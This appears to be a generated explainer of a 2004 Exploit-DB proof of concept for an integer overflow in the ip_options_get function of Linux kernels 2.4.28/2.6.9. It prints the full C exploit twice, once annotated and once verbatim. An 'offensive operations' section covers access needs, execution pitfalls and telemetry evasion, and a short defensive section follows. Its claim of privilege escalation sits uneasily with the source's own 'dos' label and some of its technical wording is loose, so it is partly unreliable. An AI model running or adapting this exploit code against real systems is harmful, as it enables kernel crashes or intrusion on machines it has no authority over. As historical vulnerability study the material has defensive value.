Linux Kernel 2.4.28/2.6.9 'ip_options_get' Local Overflow Explained

Linux Kernel 2.4.28/2.6.9 'ip_options_get' Local Overflow Explained
What this paper is
This paper describes a local privilege escalation vulnerability in the Linux kernel versions 2.4.28 and 2.6.9. The vulnerability lies within the ip_options_get function, which handles IP options. An attacker, with local access to a vulnerable system, could exploit this flaw to gain root privileges. The exploit code provided demonstrates how to trigger this overflow.
Simple technical breakdown
The core of the vulnerability is an integer overflow. When the kernel processes certain malformed IP options, it calculates a size for a buffer. Due to a flaw in the calculation, this size can become a very large negative number. This negative size is then used to allocate memory, which can lead to a buffer overflow when data is copied into it. The provided exploit crafts a message with specific IP options that triggers this flawed calculation, leading to the overflow.
Complete code and payload walkthrough
The provided C code is an exploit for the ip_options_get vulnerability. Let's break it down:
/* int overflow in ip_options_get
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[12];
// --- Socket setup ---
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0); // Creates a UDP socket (SOCK_DGRAM). SOCK_STREAM is commented out, indicating it's not used.
sockad.sin_family = AF_INET; // Specifies the address family as IPv4.
sockad.sin_addr.s_addr=inet_addr("127.0.0.1"); // Sets the target IP address to localhost.
sockad.sin_port=htons(8080); // Sets the target port to 8080.
connect(s,(struct sockaddr *) &sockad, sizeof(sockad)); // Connects the UDP socket to the specified address. For UDP, this sets a default destination.
// --- Message and control buffer setup ---
memset(msg,'v',sizeof(msg)); // Fills the 'msg' buffer with 'v' characters. This is the main data payload.
memset(opts,0,sizeof(opts)); // Initializes the 'opts' buffer with zeros. This buffer will hold IP options.
#define VV 1024*1024 // Defines a large constant for memory allocation (1MB).
cmsg = malloc(VV); // Allocates a large buffer for control messages.
memset(cmsg,0,VV); // Clears the allocated control buffer.
// --- First control message setup ---
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); // Sets the length of the first control message. It includes the header and the 'opts' buffer size.
cmsg->cmsg_level = SOL_IP; // Specifies that the control message pertains to the IP protocol level.
cmsg->cmsg_type = IP_RETOPTS; // Sets the control message type to IP_RETOPTS, which is related to retrieving IP options.
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); // Copies the zero-initialized 'opts' buffer into the data part of the control message.
// --- Second control message setup (triggering the vulnerability) ---
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts)); // This is a crucial part. It calculates the address for a *second* control message. It takes the data part of the first control message, adds the size of 'opts', and casts it to a pointer to a cmsghdr. This effectively places a second control message structure immediately after the data of the first one within the allocated buffer.
cm2->cmsg_level = SOL_IP; // Sets the level for the second control message to IP.
cm2->cmsg_type = IP_RETOPTS; // Sets the type for the second control message to IP_RETOPTS.
cm2->cmsg_len = -1; // THIS IS THE VULNERABILITY TRIGGER. Setting cmsg_len to -1 (or a very large negative value due to integer overflow in kernel) will cause the kernel's `ip_options_get` function to miscalculate buffer sizes.
// --- msghdr setup ---
msghdr.msg_name = &sockad; // Points to the socket address structure.
msghdr.msg_namelen = sizeof(sockad); // Sets the length of the socket address.
msghdr.msg_control=cmsg; // Points to the control message buffer.
msghdr.msg_controllen= cmsg->cmsg_len + 420; // Sets the total length of the control data. This value is intentionally larger than the actual control data to ensure the kernel processes the malformed `cmsg_len` of `cm2`. The `+ 420` is an arbitrary value that, combined with the malformed `cmsg_len`, helps trigger the overflow.
msghdr.msg_iov = iovector; // Points to the array of I/O vectors.
msghdr.msg_iovlen = 1; // Specifies that there is one I/O vector.
iovector[0].iov_base = msg; // The base address of the I/O buffer is the 'msg' buffer.
iovector[0].iov_len = sizeof(msg); // The length of the I/O buffer is the size of 'msg'.
system("sync"); // Flushes file system buffers. This is likely included for good measure but not directly related to the exploit mechanism itself.
if ((i = sendmsg(s, &msghdr, 0)) < 0) // Sends the constructed message. This is where the kernel function `ip_options_get` will be called to process the IP options.
perror("sendmsg"); // Prints an error if sendmsg fails.
return 42; // Exits with a status code.
}
// milw0rm.com [2004-12-16]Code Fragment/Block -> Practical Purpose Mapping:
socket(PF_INET, SOCK_DGRAM, 0): Creates a UDP socket for sending network packets.sockad.sin_addr.s_addr=inet_addr("127.0.0.1");: Targets the local machine.connect(s,(struct sockaddr *) &sockad, sizeof(sockad));: Prepares the socket to send to localhost.memset(msg,'v',sizeof(msg));: Prepares a buffer for the main data payload.cmsg = malloc(VV);: Allocates a large buffer for control messages.cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);: Sets the length of the first control message.cmsg->cmsg_level = SOL_IP;: Identifies the control message as IP-level.cmsg->cmsg_type = IP_RETOPTS;: Indicates the control message is related to IP options.cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));: Crucial: Positions a secondcmsghdrstructure immediately after the first one's data.cm2->cmsg_len = -1;: Vulnerability Trigger: Sets the length of the second control message to a negative value.msghdr.msg_control=cmsg;: Assigns the control buffer to themsghdr.msghdr.msg_controllen= cmsg->cmsg_len + 420;: Exploit Control: Sets the total control buffer length to be larger than the firstcmsg_len, forcing the kernel to process the malformedcm2->cmsg_len.iovector[0].iov_base = msg; iovector[0].iov_len = sizeof(msg);: Configures the main data buffer forsendmsg.sendmsg(s, &msghdr, 0);: Sends the crafted message, invoking the vulnerable kernel code.
Shellcode/Payload:
There is no explicit shellcode or payload bytes in the traditional sense within this C code. The "payload" is the crafted msghdr structure itself, specifically the malformed cmsghdr (cm2) with cmsg_len = -1. When the kernel's ip_options_get function processes this, it attempts to calculate buffer sizes based on cmsg_len. The negative value of cmsg_len causes an integer overflow, resulting in a very large positive number when interpreted as a size. This large size is then used for memory operations, leading to a buffer overflow. The actual exploitation (e.g., overwriting return addresses to gain code execution) would depend on the specific kernel version and memory layout, which is not detailed in this exploit code. The exploit primarily aims to trigger the overflow condition.
Practical details for offensive operations teams
- Required Access Level: Local user with the ability to create raw sockets or send UDP packets. No elevated privileges are initially required.
- Lab Preconditions:
- A Linux system running kernel version 2.4.28 or 2.6.9.
- The system must have network stack functionality enabled.
- The exploit needs to be compiled on the target or a compatible system.
- Tooling Assumptions:
- A C compiler (like
gcc) to compile the exploit. - Standard Linux utilities (
socket,sendmsg).
- A C compiler (like
- Execution Pitfalls:
- Kernel Version Specificity: The exploit is highly dependent on the exact kernel versions. Minor patch differences could render it ineffective.
- ASLR/KASLR: While less prevalent in 2004, modern systems with Address Space Layout Randomization (ASLR) for kernel modules would make precise memory targeting much harder.
- Smashing the Stack: The provided exploit code triggers the overflow but doesn't contain the shellcode to exploit it for code execution. A real-world attacker would need to craft shellcode to overwrite a return address or other critical kernel data structures. This is the most significant unknown and likely failure point if not carefully developed.
- Telemetry Evasion: The use of standard system calls like
socketandsendmsgmight be logged. However, the malformedcmsghdris the anomaly. Thesystem("sync");call is unusual and might generate its own logs. - Privilege Escalation: The exploit itself only causes a crash or potential overflow. To achieve privilege escalation, the attacker must successfully overwrite kernel memory to execute arbitrary code, typically as root. This requires detailed knowledge of the kernel's memory layout and exploit development techniques.
- Planning Assumptions:
- The target environment is susceptible to local privilege escalation.
- The operator has obtained initial low-privileged access to the target system.
- The operator has the capability to compile and execute C code on the target.
Where this was used and when
This vulnerability was published in December 2004. It targets older Linux kernel versions. While specific instances of this exact exploit being used in the wild are not widely documented in public post-mortems, vulnerabilities of this nature in kernel network stack components were common targets for attackers seeking to gain root access on compromised servers during that era. The "milw0rm.com" attribution suggests it was shared within the security research community at that time.
Defensive lessons for modern teams
- Kernel Patching: The most critical defense is to keep operating systems and kernel versions up-to-date. This vulnerability is long-patched.
- Intrusion Detection Systems (IDS): Network-based IDS might detect unusual packet structures, though this exploit uses standard UDP. Host-based IDS (HIDS) monitoring system calls and kernel module behavior could be more effective.
- System Call Auditing: Auditing
sendmsgand other network-related system calls, especially when combined with unusual arguments or control message structures, can provide valuable forensic data. - Memory Protection: Modern kernels have significantly improved memory protection mechanisms, including KASLR and stack canaries, which make exploiting buffer overflows much more difficult.
- Principle of Least Privilege: Limiting the capabilities of user accounts reduces the impact of a successful local privilege escalation.
ASCII visual (if applicable)
This exploit doesn't lend itself to a simple architectural diagram. The core of the exploit is a manipulation of data structures in memory that are then interpreted by the kernel.
+-----------------------+
| User Space Process |
+-----------------------+
| - C Code |
| - msghdr struct |
| - iovec struct |
| - cmsghdr structs |
| - Malformed cmsg_len |
+-----------------------+
| sendmsg()
v
+-----------------------+
| Kernel Space |
| (Network Stack) |
+-----------------------+
| - ip_options_get() |
| - Processes msghdr |
| - Interprets cmsghdr|
| - Integer Overflow |
| (cmsg_len = -1) |
| - Large buffer size |
| - Buffer Overflow |
+-----------------------+
| (Potential Crash/Overwrite)
v
+-----------------------+
| System Compromise |
+-----------------------+Source references
- PAPER ID: 692
- PAPER TITLE: Linux Kernel 2.4.28/2.6.9 - 'ip_options_get' Local Overflow
- AUTHOR: Georgi Guninski
- PUBLISHED: 2004-12-16
- KEYWORDS: Linux,dos
- PAPER URL: https://www.exploit-db.com/papers/692
- RAW URL: https://www.exploit-db.com/raw/692
Original Exploit-DB Content (Verbatim)
/* int overflow in ip_options_get
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[12];
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080);
connect(s,(struct sockaddr *) &sockad, sizeof(sockad));
memset(msg,'v',sizeof(msg));
memset(opts,0,sizeof(opts));
#define VV 1024*1024
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = -1;
msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);
msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + 420;
msghdr.msg_iov = iovector;
msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
system("sync");
if ((i = sendmsg(s, &msghdr, 0)) < 0)
perror("sendmsg");
return 42;
}
// milw0rm.com [2004-12-16]